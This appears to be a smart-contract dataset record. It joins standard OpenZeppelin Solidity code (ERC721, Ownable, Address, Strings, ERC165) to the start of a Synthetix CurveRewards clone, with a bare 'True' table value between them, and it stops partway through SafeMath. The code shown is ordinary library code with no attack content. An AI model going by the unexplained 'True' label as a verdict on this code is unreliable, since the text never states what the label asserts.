_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
True
|
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] |
// File: contracts/distribution/SnxPool.sol
///
/// Cloned from https://etherscan.io/address/0xDCB6A51eA3CA5d3Fd898Fd6564757c7aAeC3ca92#code
///
/// Changes:
/// - CurveRewards were renamed to AuricRewards
/// - Added constructor the AuricRewards instead of a hardcoded token
/// - Added constructor the LPTokenWrapper instead of a hardcoded token
/// - rewardDistribution address was made public
///
/**
* Submitted for verification at Etherscan.io on 2020-04-22
*/
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: CurveRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
